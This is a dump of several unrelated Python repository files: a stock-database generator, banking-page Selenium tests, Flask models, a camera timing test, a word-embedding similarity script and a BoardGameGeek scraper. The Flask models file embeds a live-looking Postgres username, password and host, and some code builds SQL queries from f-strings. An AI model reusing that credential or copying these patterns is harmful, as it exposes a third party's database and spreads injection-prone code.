f\"{dialect}+{driver}\"\n    engine_text += f\"://{username}:{password}\"\n    engine_text += f\"@{host}:{port}/{db}?unix_socket={unix_socket}\"\n    \n    engine = db.create_engine(\n        engine_text\n    )\n    \n    base = Base()\n    database = Create(engine=engine, base=base)\n    \n    database.initialize()\n\n    # query from the database into a pandas dataframe\n\n    query = \"select * from transaction_history\"\n    trans_hist = pd.read_sql(query, engine)\n    \n    query = \"select * from portfolio\"\n    portfolio = pd.read_sql(query, engine)\n    \"\"\"\n    def __init__(\n        self,\n        engine,\n        base=_base,\n        OHLCV=OHLCV,\n        TransactionHistory=TransactionHistory,\n        Portfolio=Portfolio\n    ):\n        self.engine = engine\n        self.base = base\n        self.OHLCV = OHLCV(base)\n        self.TransactionHistory = TransactionHistory(base)\n        self.Portfolio = Portfolio(base)\n        self._initialized = False\n\n    def initialize(\n        self,\n        with_entries: bool = True,\n        no_investors: int = 5,\n        tickers: list[str] = ['SPY', 'NVDA', 'AMZN'],\n        start: dt.datetime = dt.datetime.now().replace(\n            hour=4-3, minute=0, second=0, microsecond=0\n        ) - dt.timedelta(days=29),\n        end: dt.datetime = dt.datetime.now().replace(\n            hour=20-3, minute=0, second=0, microsecond=0\n        ),\n        time_step: str = '1m',\n        with_trigger: bool = True,\n        trigger_path: str | NoneType = None,\n        with_investments: bool = True,\n        make_nans: int = 20,\n        max_nans_in_a_row: int = 5,\n        drop_db_if_exists: bool = True,\n    ):\n        \"\"\"\n        This function will initialize the database, create the tables and then\n        populate the tables with data.\n\n        Parameters\n        --------------------------------------------------\n        with_entries : boolean default True\n            Autopopulate the ohlcv table with the tickers listed in the \n            ticker list. Scraps data using yfinance.\n\n        no_investors : int, Default 5\n            The number of investors for which transaction and portfolio data \n            is generated for.\n\n        tickers : list, Default ['SPY', 'AMZN', 'NVDA']\n            list of tickers\n\n        start : datetime, Default dt.datetime.now().replace(\n                    hour=4-3, minute=0, second=0, microsecond=0\n                ) - dt.timedelta(days=29),\n            Start time for the stock prices\n\n        end : datetime, Default dt.datetime.now().replace(\n                    hour=4-3, minute=0, second=0, microsecond=0\n                ),\n            End time for the stock prices. This also assumes the user is in a \n            PST timezone.\n\n        time_step : str, Default '1m'\n            Time step for the stock data. yfinance has limitations on this.\n\n        with_trigger : boolean, Default True\n            If true, then the trigger will be set to auto update the \n            portfolio with the transaction_history \n\n        trigger_path : str Default './stock_returns/trigger.sql'\n            Defaults to a mysql trigger and needs to be updated if using a \n            different sql server.\n\n        with_investments : boolean, Default True\n            Will generate investments and auto update the porfolio.\n\n        make_nans : int, Default 20\n            This will randomly select make_nans many dates for the open, high,\n            low, close and volume columns to set to None.\n\n        max_nans_in_a_row : int, Default 5\n            This will randomly select a number 1 to max_nans_in_a_row for each \n            date from the randomly selected date from make_nans and then set \n            that many timestamps in a row to None.\n\n        drop_db_if_exists : boolean, Default True\n            Will drop the database and recreate it if already exists.\n\n        returns:\n            The function will create a database with name specified in the \n            engine which is inputed by the user. It will populate the database\n            with three tabled named \"ohlcv\", \"transaction_history\", and \n            \"portfolio\".\"transaction_history\" will be linked to \"portfolio\" \n            through a trigger and all transactions will update the portfolio\n            automatically.\n        \"\"\"\n\n        if self._initialized:\n          raise Exception(\"Database already initialized.\")\n        \n        if drop_db_if_exists:\n            if database_exists(self.engine.url):\n                drop_database(self.engine.url) \n\n        if not database_exists(self.engine.url):\n            create_database(self.engine.url) \n\n        self.base.metadata.create_all(bind=self.engine)\n        \n        if with_trigger:\n            if trigger_path is None:\n                with resources.open_text(\n                    'dbgen.stock_returns._sql', 'trigger.sql'\n                ) as file:\n                    sql_content = file.read()\n        \n                with self.engine.connect() as conn:\n                    conn.execute(db.text(sql_content))\n            else:\n                with self.engine.connect() as conn:\n                    conn.execute(\n                        db.text(\n                            convert_sql_to_string(trigger_path)\n                        )\n                    )\n                    conn.commit()\n\n        self._initialized = True\n        \n        if not with_entries:\n            return None\n        \n        # batch the time for yfinance stock scraping\n        elapsed_time = (end - start).total_seconds()\n        batch_time = 60 * 60 * 24 * 5\n        \n        batch_no = 0\n        while batch_no * batch_time < elapsed_time:\n            batch_no += 1\n            print(\n                f'batch {batch_no} / {elapsed_time // batch_time + 1}'\n            )\n            df = yf.download(\n                tickers=tickers,\n                start=start + dt.timedelta(seconds = batch_time * (batch_no - 1)),\n                end=min(\n                    start + dt.timedelta(seconds = batch_time * batch_no), \n                    end\n                ),\n                interval=time_step,\n                prepost=True\n            )\n\n            if len(tickers) == 1:\n                col = pd.MultiIndex.from_product([df.columns.values, tickers])\n                df = df.set_axis(col, axis=1)\n\n            # remove the GMT time part that yfinaces gives\n            df.index = df.index.to_series().apply(\n                lambda x: str(x)[: -6]\n            ).reset_index(drop=True)\n            \n            # rename the multicolumn\n            df.columns.names = ['ohlcv', 'ticker']\n\n            for ticker in tickers:\n\n                query = f\"ticker == '{ticker}' \"\n                query += \"and ohlcv in ['Open', 'High', 'Low', 'Close', 'Volume']\"\n                sub_df = df.T.query(\n                    query\n                ).T.reset_index()\n                \n                for col in ['Open', 'High', 'Low', 'Close', 'Volume']:\n                    sub_df[col] = sub_df[col].astype(float).interpolate()\n                \n                sub_df['timestamp'] = [\n                    dt.datetime.strptime(\n                        npdt, '%Y-%m-%d %H:%M:%S'\n                    ).timestamp() for npdt in sub_df['Datetime'].values\n                ]\n\n                sub_df.insert(1, 'ticker', np.repeat(ticker, len(sub_df)))\n                \n                # add a columns with just the ticker repeated\n                sub_df.columns = [\n                    x.lower() \n                    for x in sub_df.columns.get_level_values('ohlcv').values\n                ]\n                cols = [\n                    'datetime', 'ticker', 'open',\n                    'high', 'low', 'close', 'volume', 'timestamp'\n                ]\n                \n                # push to the sql server\n                sub_df[cols].to_sql(\n                    'ohlcv', self.engine, if_exists='append', index=False)\n\n        if with_investments:\n\n            query = f\"select datetime from ohlcv\"\n            dates = pd.read_sql(\n                query, self.engine\n            )['datetime'].values.astype(str)\n\n            session  = sessionmaker(bind=self.engine)()\n            \n            dates_used = np.array([])\n            for user_id in range(1, no_investors + 1):\n                \n                # num_longs = np.random.choice(np.arange(5))\n                num_longs = 3\n                long_invs = {\n                    t: transaction_chain(1.0, num_longs, dates) for t in tickers\n                }\n\n\n                for ticker in long_invs.keys():\n                    for trans in long_invs[ticker]:\n                        datetime, action, no_shares = trans\n                        dates_used = np.append(dates_used, datetime)\n                        l = datetime[:10]\n                        r = datetime[11: -10]\n                        query = f\"select open from ohlcv \"\n                        query += f\"where datetime = '{l + ' ' + r}' \"\n                        query += f\"and ticker = '{ticker}'\"\n                        at_price = pd.read_sql(\n                            query, self.engine\n                        )['open'].values[0]\n\n                        transaction = self.TransactionHistory(\n                            user_id,\n                            datetime, \n                            ticker, \n                            1,\n                            action, \n                            no_shares,\n                            at_price\n                        )\n                        session.add(transaction)\n\n\n            for user_id in range(1, no_investors + 1):\n\n                # num_shorts = np.random.choice(np.arange(5))\n                num_shorts = 2\n                short_invs = {\n                    t: transaction_chain(-1.0, num_shorts, dates) for t in tickers\n                }\n\n                for ticker in short_invs.keys():\n                    for trans in short_invs[ticker]:\n                        datetime, action, no_shares = trans \n                        dates_used = np.append(dates_used, datetime)\n                        l = datetime[:10]\n                        r = datetime[11: -10]\n                        query = f\"select open from ohlcv \"\n                        query += f\"where datetime = '{l + ' ' + r}' \"\n                        query += f\"and ticker = '{ticker}'\"\n                        open = pd.read_sql(\n                            query, self.engine\n                        )['open'].values[0]\n\n                        transaction = self.TransactionHistory(\n                            user_id, \n                            datetime, \n                            ticker, \n                            -1, \n                            action, \n                            no_shares, \n                            open\n                        )\n                        session.add(transaction)\n\n            if make_nans > 0:\n                dates_not_used = np.setdiff1d(dates, dates_used)\n                for col in ['open', 'high', 'low', 'close', 'volume']:\n                    rm_dates = np.random.choice(dates_not_used, make_nans)\n                    for date in rm_dates:\n                        l = date[:10]\n                        r = date[11: -10]\n                        date = l + ' ' + r\n                        in_a_row = np.random.randint(1, max_nans_in_a_row)\n                        for i in range(in_a_row):\n                            d = dt.datetime.strptime(\n                                date, '%Y-%m-%d %H:%M:%S'\n                            ) + dt.timedelta(seconds=60 * i)\n                            d = dt.datetime.strftime(d, '%Y-%m-%d %H:%M:%S')\n                            with self.engine.connect() as conn:\n                                query = f\"update ohlcv \"\n                                query += f\"set {col} = NULL \"\n                                query += f\"where datetime = '{d}'\"\n                                conn.execute(\n                                    db.text(query)\n                                )\n                                conn.commit()\n\n            session.commit()\n            session.close()\n\n        return None\n\n\n\n","repo_name":"nickeisenberg/db_generator","sub_path":"build/lib/dbgen/stock_returns/create.py","file_name":"create.py","file_ext":"py","file_size_in_byte":29474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"799436403","text":"from pages.customer_profile_page import CustomerProfilePage\nimport pytest\nimport time\n\nlink = \"https://test.banksend.com/admin/customer-profile?customerId=2&merchantId=5\"\n\n\n@pytest.mark.regression\nclass TestCustomerProfilePage:\n    def test_redirect_to_customer_profile(self, browser):\n        page = CustomerProfilePage(browser, link)\n        page.login_as_merchant()\n        page.open()\n        page.should_be_customer_profile_page()\n\n    def test_title_of_customer_profile_page(self, browser):\n        page = CustomerProfilePage(browser, link)\n        page.login_as_merchant()\n        page.open()\n        page.title_of_customer_profile_page()\n\n    def test_elements_is_present_on_the_customer_profile_page(self, browser):\n        page = CustomerProfilePage(browser, link)\n        page.login_as_merchant()\n        page.open()\n        page.browser.maximize_window()\n        page.browser.set_window_size(2500, 1800)\n        page.balance_is_present()\n        page.should_be_present_customer_block_and_his_details()\n        page.should_be_transactions_list_and_his_attributes()\n        page.should_be_table_with_transactions_summary()\n        page.changing_tab_summary_or_payment_method()\n        page.should_be_table_with_payment_methods()\n        page.changing_tab_summary_or_payment_method()\n        page.should_be_table_with_transactions_summary()\n\n    def test_block_the_customer(self, browser):\n        page = CustomerProfilePage(browser, link)\n        page.login_as_merchant()\n        page.open()\n        page.check_active_status()\n        page.block_the_customer()\n        page.check_blocked_status()\n        page.block_the_customer()  # activate customer\n\n    def test_block_the_incoming_transaction_for_customer(self, browser):\n        page = CustomerProfilePage(browser, link)\n        page.login_as_merchant()\n        page.open()\n        page.block_the_incoming_transaction_for_customer()\n        page.check_blocked_status_for_incoming()\n        page.block_the_incoming_transaction_for_customer()\n        page.check_active_status_for_incoming()\n\n    def test_block_the_outgoing_to_verified_for_customer(self, browser):\n        page = CustomerProfilePage(browser, link)\n        page.login_as_merchant()\n        page.open()\n        page.block_the_outgoing_verified_transaction()\n        page.check_blocked_status_for_outgoing_verified()\n        page.block_the_outgoing_verified_transaction()\n        page.check_active_status_for_outgoing_verified()\n\n    def test_block_the_outgoing_to_not_verified_for_customer(self, browser):\n        page = CustomerProfilePage(browser, link)\n        page.login_as_merchant()\n        page.open()\n        page.block_the_outgoing_not_verified_transaction()\n        page.check_blocked_status_for_outgoing_not_verified()\n        page.block_the_outgoing_not_verified_transaction()\n        page.check_active_status_for_outgoing_not_verified()\n\n    def test_block_the_outgoing_to_customer_defined_for_customer(self, browser):\n        page = CustomerProfilePage(browser, link)\n        page.login_as_merchant()\n        page.open()\n        page.block_the_outgoing_to_customer_defined_transaction()\n        page.check_blocked_status_for_outgoing_customer_defined()\n        page.block_the_outgoing_to_customer_defined_transaction()\n        page.check_active_status_for_outgoing_customer_defined()\n\n    def test_get_balance_button(self, browser):\n        page = CustomerProfilePage(browser, link)\n        page.check_count_of_get_balance()\n        page.login_as_merchant()\n        page.open()\n        page.changing_tab_summary_or_payment_method()\n        page.balance_button_click()\n        page.check_second_time_count_of_get_balance()\n","repo_name":"Yevhenii-Lavro/BankSEND","sub_path":"tests/test_customer_profile_page.py","file_name":"test_customer_profile_page.py","file_ext":"py","file_size_in_byte":3664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"44829289156","text":"from sqlalchemy import Column, String, Integer, create_engine\nfrom flask_sqlalchemy import SQLAlchemy\nimport json\n\ndatabase_path = \"\"\"postgres://psicnhjrrbmiry:\n                92d2cfacd3d568a780983434f91a87479eb8b46ac4d9750f80ffdba2cfc55d0c@e\n                c2-18-214-211-47.compute-1.amazonaws.com:5432/dbld3nb0nee5el\"\"\"\n\ndb = SQLAlchemy()\n\n\ndef setup_db(app, database_path=database_path):\n    app.config[\"SQLALCHEMY_DATABASE_URI\"] = database_path\n    app.config[\"SQLALCHEMY_TRACK_MODIFICATIONS\"] = False\n    db.app = app\n    db.init_app(app)\n    db.create_all()\n\n\nclass Togo(db.Model):\n    __tablename__ = \"togo\"\n\n    id = Column(Integer, primary_key=True)\n    location = Column(String)\n    date = Column(String)\n    description = Column(String)\n\n    def insert(self):\n        db.session.add(self)\n        db.session.commit()\n\n    def update(self):\n        db.session.commit()\n\n    def delete(self):\n        db.session.delete(self)\n        db.session.commit()\n\n    def format(self):\n        return{\n            'id': self.id,\n            'location': self.location,\n            'date': self.date,\n            'description': self.description\n        }\n\n\nclass Went(db.Model):\n    __tablename__ = \"went\"\n\n    id = Column(Integer, primary_key=True)\n    location = Column(String)\n    description = Column(String)\n\n    def insert(self):\n        db.session.add(self)\n        db.session.commit()\n\n    def update(self):\n        db.session.commit()\n\n    def delete(self):\n        db.session.delete(self)\n        db.session.commit()\n\n    def format(self):\n        return{\n            'id': self.id,\n            'location': self.location,\n            'description': self.description\n        }\n","repo_name":"SultanAlyahya/Places","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"44159403920","text":"# %%\n# testing time using adaptive interval\n\n# Time.sleep() is accurately quite accurate on the scale of seconds\n# We have experienced that it is inconsistent in practice though, \n# suggesting there is a delay introduced by camera acquisition. \n# Below I test what happens when we add a \n# randomised camera delay between 150-300ms. \n# I then used an adaptive interval between acquisitions to take \n# into account the measured delay at each frame.\n\nimport time\nimport os\nimport random\nimport numpy as np\n\n# normal use of time to add delay interval to timelapse\ndef time_test(expected_interval, duration, simulated_camera_delay):\n\n    # Calculate the number of captures based on the duration and expected interval\n    num_captures = int(duration / expected_interval)\n\n    # Record the start time for reference\n    start_time = time.time()\n\n    captures = []\n    for i in range(num_captures + 1):\n\n        # simulated camera delay\n        time.sleep(simulated_camera_delay)\n\n        # Calculate the elapsed time from the start of the time-lapse\n        elapsed_time = time.time() - start_time\n        captures.append(elapsed_time)\n        print(f\"capture at: {elapsed_time:0.5f}\")\n\n        time.sleep(expected_interval)\n\n    return(captures)\n\n# adding adaptive time intervals after measuring camera acquisition\ndef adaptive_time_test(expected_interval, duration, simulated_camera_delay, add_noise=True):\n\n    # Calculate the number of captures based on the duration and expected interval\n    num_captures = int(duration / expected_interval)\n\n    # Record the start time for reference\n    start_time = time.time()\n\n    captures = []\n    for i in range(num_captures + 1):\n        # Generate a unique filename for each capture\n        #filename = f\"{output_directory}/image_{i:04d}.jpg\"\n\n        # Capture an image and save it with the generated filename\n        #camera.capture(filename)\n\n        # simulated camera delay\n        if(add_noise):\n            simulated_camera_delay_rand = random.uniform(0.75*simulated_camera_delay, 1.5*simulated_camera_delay)\n            time.sleep(simulated_camera_delay_rand)\n        if(add_noise==False):\n            time.sleep(simulated_camera_delay)\n\n        # Calculate the elapsed time from the start of the time-lapse\n        elapsed_time = time.time() - start_time\n        captures.append(elapsed_time)\n        print(f\"capture at: {elapsed_time:0.5f}\")\n\n        # Calculate the expected time for the next capture\n        expected_next_capture_time = (i + 1) * expected_interval\n\n        # Calculate the time to sleep for the next capture\n        sleep_duration = max(0, expected_next_capture_time - elapsed_time)\n\n        # Wait for the adjusted delay before capturing the next image\n        time.sleep(sleep_duration)\n\n    return(captures)\n\n# Example usage\nexpected_interval = 1  # Expected interval between captures (in seconds)\nduration = 20  # Capture images for 20 seconds (20 images in this example)\ndelay = 0.2 # 200ms camera delay for testing\n\ncaptures_control = time_test(expected_interval, duration, simulated_camera_delay=0)\ncaptures_delay = time_test(expected_interval, duration, simulated_camera_delay=delay)\ncaptures_delay_adaptive = adaptive_time_test(expected_interval, duration, simulated_camera_delay=delay)\n\nprint(f'Median interval in control: {np.median(np.diff(captures_control)):0.5f} +/- {np.std(np.diff(captures_control)):0.5f}')\nprint(f'Median interval with camera delay: {np.median(np.diff(captures_delay)):0.5f} +/- {np.std(np.diff(captures_delay)):0.5f}')\nprint(f'Median adaptive interval with camera delay: {np.median(np.diff(captures_delay_adaptive)):0.5f} +/- {np.std(np.diff(captures_delay_adaptive)):0.5f}')\n\n# %%\n# example timelapse script\n# adaptive interval\n\ndef capture_time_lapse_with_adjusted_delay(expected_interval, duration, output_directory):\n    try:\n        # Create the output directory if it doesn't exist\n        os.makedirs(output_directory, exist_ok=True)\n\n        # Initialize the PiCamera\n        with picamera.PiCamera() as camera:\n            camera.resolution = (1280, 720)  # Set the resolution as per your requirement\n\n            # Calculate the number of captures based on the duration and expected interval\n            num_captures = int(duration / expected_interval)\n\n            # Record the initial time for reference\n            last_capture_time = time.time()\n\n            captures = []\n            for i in range(num_captures):\n                # Generate a unique filename for each capture\n                filename = f\"{output_directory}/image_{i:04d}.jpg\"\n\n                # Capture an image and save it with the generated filename\n                camera.capture(filename)\n\n                # Calculate the elapsed time from the start of the time-lapse\n                elapsed_time = time.time() - start_time\n                captures.append(elapsed_time)\n                \n                # Calculate the expected time for the next capture\n                expected_next_capture_time = (i + 1) * expected_interval\n\n                # Calculate the time to sleep for the next capture\n                sleep_duration = max(0, expected_next_capture_time - elapsed_time)\n\n                # Wait for the adjusted delay before capturing the next image\n                time.sleep(sleep_duration)\n\n        print(\"Time-lapse capture completed.\")\n        return(captures)\n    except Exception as e:\n        print(f\"Error: {e}\")\n\n# Example usage\nexpected_interval_seconds = 5  # Expected interval between captures (in seconds)\nduration_seconds = 60  # Capture images for 60 seconds (10 images in this example)\noutput_dir = \"time_lapse_output_with_adjustment\"\n\ncapture_time_lapse_with_adjusted_delay(expected_interval_seconds, duration_seconds, output_dir)\n","repo_name":"mwinding/behavioural-rigs","sub_path":"testing/time-delay_timing.py","file_name":"time-delay_timing.py","file_ext":"py","file_size_in_byte":5745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14624427900","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Sep 11 08:50:13 2022\n\n@author: xuyuemei\n\nCalculate the similarity of CLWE \n\"\"\"\n\nimport io\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.font_manager import FontProperties  \nfrom pylab import xticks,yticks,np \n\n\n# Loading word embeddings\ndef load_vec(emb_path, nmax=50000):\n    vectors = []\n    word2id = {}\n    with io.open(emb_path, 'r', encoding='utf-8', newline='\\n', errors='ignore') as f:\n        next(f)\n        for i, line in enumerate(f):\n            word, vect = line.rstrip().split(' ', 1)\n            vect = np.fromstring(vect, sep=' ')\n            assert word not in word2id, 'word found twice'\n            vectors.append(vect)\n            word2id[word] = len(word2id)\n            if len(word2id) == nmax:\n                break\n    id2word = {v: k for k, v in word2id.items()}\n    embeddings = np.vstack(vectors)\n    return embeddings, id2word, word2id\n\n\nsrc_path = './data/embedding_new/en1220.fasttext-uclswe.mapped_de_0.1.txt'\ntgt_path = './data/embedding_new/de1220.fasttext-uclswe.mapped_en_0.1.txt'\n#src_path = './data/fasttext_embeddings/wiki.multi.en.vec.txt'\n#tgt_path = './data/fasttext_embeddings-process/wiki.multi.fr4.vec-process.txt'\n\nnmax = 50000  # maximum number of word embeddings to load\n\nsrc_embeddings, src_id2word, src_word2id = load_vec(src_path, nmax)\ntgt_embeddings, tgt_id2word, tgt_word2id = load_vec(tgt_path, nmax)\n\n# Get nearest neighbors\n\ndef get_nn(word, src_emb, src_id2word, tgt_emb, tgt_id2word, K=5):\n    print(\"Nearest neighbors of \\\"%s\\\":\" % word)\n    word2id = {v: k for k, v in src_id2word.items()}\n    word_emb = src_emb[word2id[word]]\n    scores = (tgt_emb / np.linalg.norm(tgt_emb, 2, 1)[:, None]).dot(word_emb / np.linalg.norm(word_emb))\n    k_best = scores.argsort()[-K:][::-1]\n    nearest_words = []\n    for i, idx in enumerate(k_best):\n        print('%.4f - %s' % (scores[idx], tgt_id2word[idx]))\n        nearest_words.append(tgt_id2word[idx])\n    return scores, nearest_words\n\n# read binary dictionaries\n\nfile_lexicon = open('./data/MUSEdictionaries/en-de-process.txt', 'r', encoding='utf-8')\nsrc_gold_words = []\ntrg_gold_words = []\nbinary_lexicon = {}\nnumber_of_nearest_words = 5   # 映射的前几个单词 这里要修改代码\n\nfor line in file_lexicon.readlines():\n    src_word, trg_word = line.rstrip('\\n').split(' ')  #注意是\\t 还是空格\n    #print(src_word)\n    if src_word not in binary_lexicon:\n        binary_lexicon[src_word] = [trg_word]\n    else:\n        binary_lexicon[src_word].append(trg_word)   #读入的双语词典，一个源语言单词可能对应多个目标语言单词的映射\n    #print(src_word,\",\",trg_word)\n    src_gold_words.append(src_word)\n    trg_gold_words.append(trg_word)\n\nprint(binary_lexicon)\n#binary_lexicon = dict(zip(src_gold_words,trg_gold_words)) \n\nfile_lexicon.close()\n\n#find the nearest neighbors for each word \ncount = 0\nhit_count= 0\nflag = 0\n\nfor key, value in binary_lexicon.items():\n    src_gold_word = key\n    trg_gold_words = value\n    if flag <10:\n        flag =flag+1\n        print(\"词典\",src_gold_word,trg_gold_words)\n\n    # if the word in the embedding space\n    if src_gold_word in src_word2id.keys():\n        hit_count = hit_count+1\n        #trg_gold_words = binary_lexicon.get(src_gold_word)\n        similar_scores, nearest_words = get_nn(src_gold_word, src_embeddings, src_id2word, tgt_embeddings, tgt_id2word, number_of_nearest_words)\n\n        for candidate_word in nearest_words:\n            if candidate_word in trg_gold_words :\n                count = count+1\n                print(src_gold_word, candidate_word)\n                break\n\n#acc = count / len(src_gold_words)\n#这个是在双语词典中有多少个单词被正确找到\nacc1 = count / len(binary_lexicon)\nprint('Acc: {0:.4f}'.format(acc1))\nprint(f\"在双语词典中有{hit_count}个单词也在构建的词典中\")\nprint(f\"双语词典和构建词典的{hit_count}个单词中，在最近邻为{number_of_nearest_words}找到了{count}个\")\nacc2 = count / hit_count\nprint('Acc: {0:.4f}'.format(acc2))\n","repo_name":"dwzgit/UCSentiE","sub_path":"WordSimilarity.py","file_name":"WordSimilarity.py","file_ext":"py","file_size_in_byte":4064,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"9324344752","text":"#!/usr/bin/python\n\nimport calendar\nimport xml.etree.ElementTree as ET\nimport sys\nfrom datetime import date, timedelta\nimport datetime\nimport json\nimport time\nimport yaml\nimport math\nfrom urllib.request import urlopen\nfrom urllib.error import HTTPError\n\nfrom dateutil.relativedelta import *\n\n# pip install pyyaml\n# pip install python-dateutil\n\n# May throw yaml.YAMLError\ndef load_expansion_list(file):\n  with open(file, 'r') as stream:\n    return yaml.safe_load(stream)\n\n# Keep trying to get the XML until it returns\n# url - The URL to fetch the XML document from\ndef fetch_xml(url): \n  # If you hit the server too hard you get bounced for a while, so\n  # we have to be nice\n  time.sleep(2)\n  try:\n    #print(\"Fetch from {}\".format(url))\n    response = urlopen(url)\n  except HTTPError as e:\n    # If the server thinks we have been too pushy back off a bit\n    if e.code == 429:\n      print (\"Too many requests by {}\".format(url))\n      time.sleep(30)\n      return fetch_xml(url)\n    else:\n      raise e\n  except urllib.error.URLError as t:\n    print(\"Network error\")\n    time.sleep(30)\n    return fetch_xml(url)\n  \n  xml = response.read()\n  # Work around for a bug where character 11 was included but XML parsing couldn't handle it\n  #xml = str(xml,\"UTF-8\")\n  #xml = xml.replace(\"\\x0b\", \" \")\n  try:\n    root = ET.fromstring(xml)\n    if root.tag == 'message':\n      print (\"Received wait request for {}\".format(url))\n      time.sleep(5)\n      return fetch_xml(url)\n\n  except xml.etree.ElementTree.ParseError:\n    print(\"Couldn't read from url {}\".format(url))\n    raise\n    \n  return root\n\n# Get a map of game rootids to a game entry.\n# The game entry is just the name and root id at this time\n# geeklist - Id of geeklist\n# expansions - Set of games in expansions. Games in expansions aren't added to the games list.\ndef fetch_games(geeklist,expansions):\n\n  url = 'https://www.boardgamegeek.com/xmlapi/geeklist/%d' % (geeklist,)\n  xml = fetch_xml(url)\n\n  games = {}\n\n  for item in xml.iter('item'):\n    rootid = int(item.attrib['objectid'])\n    if rootid not in expansions:\n      gameEntry = { 'rootname': item.attrib['objectname'],\n                    'rootid': rootid }    \n      games[rootid] = gameEntry\n    else:\n      print(\"Skipping sub-item {} {}\".format(rootid,item.attrib['objectname']))\n\n  return games\n\n\n# Game plays include the name in the item section, so maybe we can remove this pass and\n# get the names later\n# games - Map of games by rootid to their game entry\n# expansions - Map of expansions by rootid to their components\ndef build_games_sources(games,expansions):\n\n  for rootid,gentry in games.items():\n    # The root game always makes an entry, add any expansions that are found for it\n    components = [rootid]\n\n    if rootid in expansions:\n      components = components + expansions[rootid]\n\n    # We fetch the name when we get the plays\n    compDetails = []\n    for comp in components:\n      compDetail = { 'gameid': comp }\n      compDetails.append(compDetail)\n\n    gentry['components'] = compDetails\n\n#    gameidurl = [\"{}\".format(c) for c in components]\n#    url = \"https://www.boardgamegeek.com/xmlapi/boardgame/{}\".format(\",\".join(gameidurl))\n#    print(url)\n#    boardgames = fetch_xml(url)\n\n#    compDetails = []\n#    for boardgame in boardgames.iter('boardgame'):\n#      gameInfo = { 'gameid': boardgame.attrib['objectid'],\n#                   'gamename': boardgame.find(\"name[@primary='true']\").text }\n#      compDetails.append(gameInfo)\n\n\n# Add the game players, last played date and any play information \n# gameEntry - A component of a game to fill in the details\ndef fill_plays(gameEntry,startDate,endDate,filterCount):\n  urlformat = \"https://www.boardgamegeek.com/xmlapi2/plays?id={}&mindate={}&maxdate={}&page={}\"\n  url = urlformat.format(gameEntry['gameid'],startDate.isoformat(),endDate.isoformat(),1)\n\n  plays = fetch_xml(url)\n  # Number of play entries, not total play count\n  totalPlays = int(plays.attrib['total'])\n  originalPlays = 0\n  countedPlays = 0\n  players = set()\n  questionablePlays = []\n\n  if totalPlays > 0:\n    numPages = math.ceil(int(totalPlays)/100.0)\n    page = 1\n\n    # Note game components with no plays don't have a name set,\n    # but that is okay as the viewing code doesn't use the name directly\n    # and we only use names of components that have been played so will have a name\n    # entry\n    gamename = plays.find('play/item').attrib['name']\n    gameEntry['gamename'] = gamename\n\n    while page <= numPages:\n      # Fetch new data for the subsequent pages \n      if page > 1:\n        url = urlformat.format(gameEntry['gameid'],startDate.isoformat(),endDate.isoformat(),page)\n        plays = fetch_xml(url)\n\n      # Extract the play information\n      for play in plays.iter('play'):\n        numPlays = int(play.attrib['quantity'])\n        originalPlays = originalPlays + numPlays\n        countedPlays = countedPlays + numPlays\n\n        # The user must approve \n        if numPlays > filterCount:\n          playcomment = play.findtext(\"comments\",\"NO COMMENT\")\n          playuser = play.attrib['userid']\n          playdate = play.attrib['date']\n          questionablePlays.append( { 'plays': numPlays, \n                                      'user': playuser,\n                                      'date': playdate,\n                                      'comment': playcomment } )\n\n        # Get all of the unique players. There is one recorded for the play registration,\n        # and optionally other players listed\n        players.add(int(play.attrib['userid']))\n        for player in play.findall('players/player'):\n          if len(player.attrib['username']) > 0:\n            players.add(int(player.attrib['userid']))\n      \n      page = page+1\n\n    # Now we have to find the last recorded play. Luckily the plays are returned in\n    # descending order so the first entry is the one we want to check\n    playToDate = startDate  - timedelta(days=1)\n    url = \"https://www.boardgamegeek.com/xmlapi2/plays?id={}&maxdate={}\".format(gameEntry['gameid'],playToDate.isoformat())\n    lastPlays = fetch_xml(url)\n    if int(lastPlays.attrib['total']) == 0:\n      gameEntry['firstPlayed'] = True\n    else:\n      if lastPlays.find('play').attrib['date'] != '0000-00-00':\n        gameEntry['lastPlayed'] = lastPlays.find('play').attrib['date']\n      else:\n        gameEntry['firstPlayed'] = True\n        \n  # Record the play information\n  gameEntry['totalPlays'] = originalPlays\n  gameEntry['countedPlays'] = countedPlays\n  gameEntry['players'] = players\n  gameEntry['numPlayers'] = len(players)\n  gameEntry['questionablePlays'] = questionablePlays  \n\ndef filter_plays(gameEntry):\n  # Step over each component\n  for component in gameEntry['components']:\n    # If there are questionable games put them to the user\n    for question in component['questionablePlays']:\n      # If the user wants to remove them adjust the countedPlays down     \n      print(\"{} of {} on {}, {}\".format( question['plays'], \n                                                  component['gamename'],\n                                                  question['date'],\n                                                  question['comment']))\n      answer = input(\"    Replace with 1 play? (y/n)[y] \")\n      if answer == \"y\" or len(answer) == 0:\n        removePlays = question['plays'] - 1\n        component['countedPlays'] = component['countedPlays'] - removePlays;\n\n    # We don't need this data anymore\n    del component['questionablePlays']\n\n\ndef summarise_plays(gameTotalEntry):\n  allplayers = set()\n\n  highestPlays = 0\n  totalPlays = 0\n\n  mostRecentPlay = ''\n\n  for comp in game['components']:\n    totalPlays = totalPlays + comp['countedPlays']\n    allplayers |= comp['players']\n    # We don't need this data per game component in the long run\n    del comp['players']\n\n    if comp['countedPlays'] > 0:\n      # Is this the biggest played game component\n      if comp['countedPlays'] > highestPlays:\n        highestPlays = comp['countedPlays']\n        gameTotalEntry['highestPlayed'] = comp['gameid']\n      # We also need to copy first play and last played summary\n      if 'lastPlayed' in comp:\n        if comp['lastPlayed'] > mostRecentPlay:\n          mostRecentPlay = comp['lastPlayed']\n\n  gameTotalEntry['players'] = allplayers;\n  gameTotalEntry['numPlayers'] = len(allplayers)\n  \n  if len(mostRecentPlay) > 0:\n    gameTotalEntry['mostRecentlyPlayed'] = mostRecentPlay\n  else:\n    # This is implied with mostRecentlyPlayed not being available, but set it\n    # to make it easier to see in the data\n    gameTotalEntry['firstPlayed'] = True\n\n  